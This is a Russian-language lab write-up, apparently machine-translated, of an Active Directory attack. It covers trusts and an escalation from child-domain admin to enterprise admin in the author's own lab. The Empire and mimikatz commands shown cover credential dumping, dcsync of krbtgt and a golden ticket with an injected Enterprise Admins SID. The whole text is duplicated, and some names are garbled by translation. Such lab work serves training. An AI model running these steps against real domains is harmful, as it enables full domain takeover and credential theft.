От администратора домена к администратору предприятия
Эта лаборная основана на (https://enigma0x3.net/2016/01/28/an-empire-case-study/) и его цель — лучше познакомиться с некоторыми концепциями Powershell Empire и его модулями, а также с концепциями Active Directory, такими как леса, родительские/дочерние домены и доверительные отношения, а также с тем, как ими можно злоупотреблять для повышения привилегий.
Конечная цель этого практического занятия — повышение привилегий от DA в дочернем домене до EA в корневом домене.
Доверительные отношения домена
Во-первых, нужно настроить лабу — нам нужно создать дочерний контроллер домена, а также новый лес с новым контроллером домена.
Родительские/дочерние домены
После установки дочернего домена red.offense.local родительского домена Offense.local домены и доверительные отношения Active Directory отображают отношения родитель-потомок между доменами, а также их доверительные отношения по умолчанию:
Доверие между двумя доменами можно проверить из powershell, выполнив:
Get-ADTrust -Filter *
Первая консоль показывает доверительные отношения домена с точки зрения Offense.local, а вторая — Red.offense.local. Обратите внимание, что направление двунаправленное, что означает, что участники могут аутентифицироваться из одного домена в другой, когда они хотят получить доступ к общим ресурсам:
Аналогичную, но очень упрощенную информацию можно почерпнуть из родного бинарного файла Windows:
nltest /domain_trusts
Powershell способ проверки доверительных отношений:
([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()
Леса
После установки нового контроллера домена dc-blue в новом лесу давайте настроим одностороннее доверие между доменами Offensive.local и Defense.local, используя контроллеры dc-mantvydas.offense.local и dc-blue.defense.blue.
Во-первых, настройте условные серверы пересылки DNS на обоих контроллерах домена:
Добавьте новое доверие, сделав dc-mantvydas доверенным доменом:
Установите типы доверия на Лес:
Теперь создается входящее доверие для dc-mantvydas.offense.local:
Тестирование вывода nltest:
Тест Леса
Теперь, когда доверительные отношения установлены, легко проверить, правильно ли это было сделано. Что должно произойти сейчас, так это то, что ресурсы на defence.local (доверенный домен) должны быть доступны для членов Offensive.local (доверенный домен).
Обратите внимание, что пользователь на dc-mantvydas.offense.local не может поделиться папкой с защитой\администратором (поскольку offense.local не доверяет defense.local ):
Тем не менее, dc-blue.defense.local доверяет offense .local, следовательно, может поделиться ресурсом с одним из членов offense.local - отношения доверия леса работают как задумано:
Назад в Empire: от DA до EA
Предположим, мы вернули нашего первого агента с компьютера PC-MANTVYDAS$:
Дамп учетных данных
Поскольку агент работает с процессом высокой степени целостности, давайте сдампим учетные данные — некоторые интересные учетные данные можно наблюдать для пользователя в домене red.offense.local:
Перечисляя процессы с помощью ps, мы видим несколько процессов, запущенных под учетной записью red\spotless. Вот один:
Пользователь домена представляет интерес, поэтому мы будем использовать команду usemodule signal_awareness/network/powerview/get_user, чтобы перечислить пользователя red\spotless и посмотреть, является ли он членом каких-либо интересных групп, однако экземпляр моей Империи, похоже, не возвращал никаких данных для этой команды. Предположим, что для этой лабораторной работы было показано, что пользователь red\spotless является членом группы администраторов в домене red.offense.local.
Манипуляции с токенами
Давайте украдем токен процесса с PID 4900, который работает с учетными данными red\spotless:
Разведка DC
Получив привилегии члена red\spotless, давайте получим имя компьютера контроллера домена для этого пользователя. Опять же, мой экземпляр Empire глючит, поэтому я использовал другую команду, чтобы получить его:
shell [DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain().DomainControllers | ForEach-Object { $_.Name }
Проверьте, есть ли у нас доступ администратора к DC-RED:
shell dir \\dc-red.red.offense.local\c$
Нам повезло, пользователь является администратором домена, как видно из приведенного выше снимка экрана.
Боковое движение
Возьмем агента от DC-RED — обратите внимание, что учетные данные исходят из предыдущего дампа с mimikatz:
usemodule lateral_movement/invoke_wmi
Теперь у нас есть агент, давайте просто подтвердим это:
Проверка доверительных отношений
Оказавшись в DC-RED, давайте проверим все доверительные отношения домена:
usemodule situational_awareness/network/powerview/get_domain_trust
Мы видим, что red.offense.local является дочерним доменом домена Offence.local, который автоматически доверяет и доверяет (двустороннее доверие/двунаправленное) с offense .local.
От DA к EA
Теперь мы попытаемся перейти от DA в red.offense.local к EA в Offense.local. Нам нужно создать золотой билет для red.offense.local и подделать его, чтобы сделать нас EA в Offense.local.
Во-первых, получим SID учетной записи пользователя krbtgt в файле abuse.local:
(Empire: powershell/situational_awareness/network/powerview/get_domain_trust) > usemodule powershell/management/user_to_sid
(Empire: powershell/management/user_to_sid) > set Domain offense.local
(Empire: powershell/management/user_to_sid) > set User krbtgt
(Empire: powershell/management/user_to_sid) > run
После получения SID для offense .local\krbtgt нам нужно получить хэш пароля от учетной записи krbtgt на скомпрометированном DC DC-RED (мы можем извлечь его, так как являемся админом домена в red.offense.local):
(Empire: powershell/management/user_to_sid) > usemodule powershell/credentials/mimikatz/dcsync
(Empire: powershell/credentials/mimikatz/dcsync) > set user red\krbtgt
(Empire: powershell/credentials/mimikatz/dcsync) > execute
Золотой билет для корневого домена
Теперь мы можем сгенерировать золотой билет для offense.local\Domain Admins, поскольку у нас есть SID offense.local\krbtgt и хэш red.offense.local\krbtgt:
usemodule powershell/credentials/mimikatz/golden_ticket
(Empire: powershell/credentials/mimikatz/golden_ticket) > set user hakhak
(Empire: powershell/credentials/mimikatz/golden_ticket) > set sids S-1-5-21-4172452648-1021989953-2368502130-519
(Empire: powershell/credentials/mimikatz/golden_ticket) > set CredID 8
(Empire: powershell/credentials/mimikatz/golden_ticket) > run
Обратите внимание, как во время спецификации sids мы заменили последние три цифры с 502 (krbtgt) на 519 (администраторы предприятия) — эта часть процесса называется атакой истории SID:
set sids S-1-5-21-4172452648-1021989953-2368502130-519
Свойство CredID в модуле dcsync происходит из хранилища учетных данных Empire, которое ранее было заполнено нашим мимикадзом:
Теперь мы должны быть администратором предприятия в файле Offense.local, и мы можем проверить это, указав общий ресурс администратора c$ dc-mantvydas.offense.local:
shell dir \\dc-mantvydas\c$
Агент из корневого домена
Ради веселья и завершения этой лабы давайте возьмем агента от dc-mantvydas:
Эта лаборная основана на (https://enigma0x3.net/2016/01/28/an-empire-case-study/) и его цель — лучше познакомиться с некоторыми концепциями Powershell Empire и его модулями, а также с концепциями Active Directory, такими как леса, родительские/дочерние домены и доверительные отношения, а также с тем, как ими можно злоупотреблять для повышения привилегий.
Конечная цель этого практического занятия — повышение привилегий от DA в дочернем домене до EA в корневом домене.
Доверительные отношения домена
Во-первых, нужно настроить лабу — нам нужно создать дочерний контроллер домена, а также новый лес с новым контроллером домена.
Родительские/дочерние домены
После установки дочернего домена red.offense.local родительского домена Offense.local домены и доверительные отношения Active Directory отображают отношения родитель-потомок между доменами, а также их доверительные отношения по умолчанию:
Доверие между двумя доменами можно проверить из powershell, выполнив:
Get-ADTrust -Filter *
Первая консоль показывает доверительные отношения домена с точки зрения Offense.local, а вторая — Red.offense.local. Обратите внимание, что направление двунаправленное, что означает, что участники могут аутентифицироваться из одного домена в другой, когда они хотят получить доступ к общим ресурсам:
Аналогичную, но очень упрощенную информацию можно почерпнуть из родного бинарного файла Windows:
nltest /domain_trusts
Powershell способ проверки доверительных отношений:
([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()
Леса
После установки нового контроллера домена dc-blue в новом лесу давайте настроим одностороннее доверие между доменами Offensive.local и Defense.local, используя контроллеры dc-mantvydas.offense.local и dc-blue.defense.blue.
Во-первых, настройте условные серверы пересылки DNS на обоих контроллерах домена:
Добавьте новое доверие, сделав dc-mantvydas доверенным доменом:
Установите типы доверия на Лес:
Теперь создается входящее доверие для dc-mantvydas.offense.local:
Тестирование вывода nltest:
Тест Леса
Теперь, когда доверительные отношения установлены, легко проверить, правильно ли это было сделано. Что должно произойти сейчас, так это то, что ресурсы на defence.local (доверенный домен) должны быть доступны для членов Offensive.local (доверенный домен).
Обратите внимание, что пользователь на dc-mantvydas.offense.local не может поделиться папкой с защитой\администратором (поскольку offense.local не доверяет defense.local ):
Тем не менее, dc-blue.defense.local доверяет offense .local, следовательно, может поделиться ресурсом с одним из членов offense.local - отношения доверия леса работают как задумано:
Назад в Empire: от DA до EA
Предположим, мы вернули нашего первого агента с компьютера PC-MANTVYDAS$:
Дамп учетных данных
Поскольку агент работает с процессом высокой степени целостности, давайте сдампим учетные данные — некоторые интересные учетные данные можно наблюдать для пользователя в домене red.offense.local:
Перечисляя процессы с помощью ps, мы видим несколько процессов, запущенных под учетной записью red\spotless. Вот один:
Пользователь домена представляет интерес, поэтому мы будем использовать команду usemodule signal_awareness/network/powerview/get_user, чтобы перечислить пользователя red\spotless и посмотреть, является ли он членом каких-либо интересных групп, однако экземпляр моей Империи, похоже, не возвращал никаких данных для этой команды. Предположим, что для этой лабораторной работы было показано, что пользователь red\spotless является членом группы администраторов в домене red.offense.local.
Манипуляции с токенами
Давайте украдем токен процесса с PID 4900, который работает с учетными данными red\spotless:
Разведка DC
Получив привилегии члена red\spotless, давайте получим имя компьютера контроллера домена для этого пользователя. Опять же, мой экземпляр Empire глючит, поэтому я использовал другую команду, чтобы получить его:
shell [DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain().DomainControllers | ForEach-Object { $_.Name }
Проверьте, есть ли у нас доступ администратора к DC-RED:
shell dir \\dc-red.red.offense.local\c$
Нам повезло, пользователь является администратором домена, как видно из приведенного выше снимка экрана.
Боковое движение
Возьмем агента от DC-RED — обратите внимание, что учетные данные исходят из предыдущего дампа с mimikatz:
usemodule lateral_movement/invoke_wmi
Теперь у нас есть агент, давайте просто подтвердим это:
Проверка доверительных отношений
Оказавшись в DC-RED, давайте проверим все доверительные отношения домена:
usemodule situational_awareness/network/powerview/get_domain_trust
Мы видим, что red.offense.local является дочерним доменом домена Offence.local, который автоматически доверяет и доверяет (двустороннее доверие/двунаправленное) с offense .local.
От DA к EA
Теперь мы попытаемся перейти от DA в red.offense.local к EA в Offense.local. Нам нужно создать золотой билет для red.offense.local и подделать его, чтобы сделать нас EA в Offense.local.
Во-первых, получим SID учетной записи пользователя krbtgt в файле abuse.local:
(Empire: powershell/situational_awareness/network/powerview/get_domain_trust) > usemodule powershell/management/user_to_sid
(Empire: powershell/management/user_to_sid) > set Domain offense.local
(Empire: powershell/management/user_to_sid) > set User krbtgt
(Empire: powershell/management/user_to_sid) > run
После получения SID для offense .local\krbtgt нам нужно получить хэш пароля от учетной записи krbtgt на скомпрометированном DC DC-RED (мы можем извлечь его, так как являемся админом домена в red.offense.local):
(Empire: powershell/management/user_to_sid) > usemodule powershell/credentials/mimikatz/dcsync
(Empire: powershell/credentials/mimikatz/dcsync) > set user red\krbtgt
(Empire: powershell/credentials/mimikatz/dcsync) > execute
Золотой билет для корневого домена
Теперь мы можем сгенерировать золотой билет для offense.local\Domain Admins, поскольку у нас есть SID offense.local\krbtgt и хэш red.offense.local\krbtgt:
usemodule powershell/credentials/mimikatz/golden_ticket
(Empire: powershell/credentials/mimikatz/golden_ticket) > set user hakhak
(Empire: powershell/credentials/mimikatz/golden_ticket) > set sids S-1-5-21-4172452648-1021989953-2368502130-519
(Empire: powershell/credentials/mimikatz/golden_ticket) > set CredID 8
(Empire: powershell/credentials/mimikatz/golden_ticket) > run
Обратите внимание, как во время спецификации sids мы заменили последние три цифры с 502 (krbtgt) на 519 (администраторы предприятия) — эта часть процесса называется атакой истории SID:
set sids S-1-5-21-4172452648-1021989953-2368502130-519
Свойство CredID в модуле dcsync происходит из хранилища учетных данных Empire, которое ранее было заполнено нашим мимикадзом:
Теперь мы должны быть администратором предприятия в файле Offense.local, и мы можем проверить это, указав общий ресурс администратора c$ dc-mantvydas.offense.local:
shell dir \\dc-mantvydas\c$
Агент из корневого домена
Ради веселья и завершения этой лабы давайте возьмем агента от dc-mantvydas: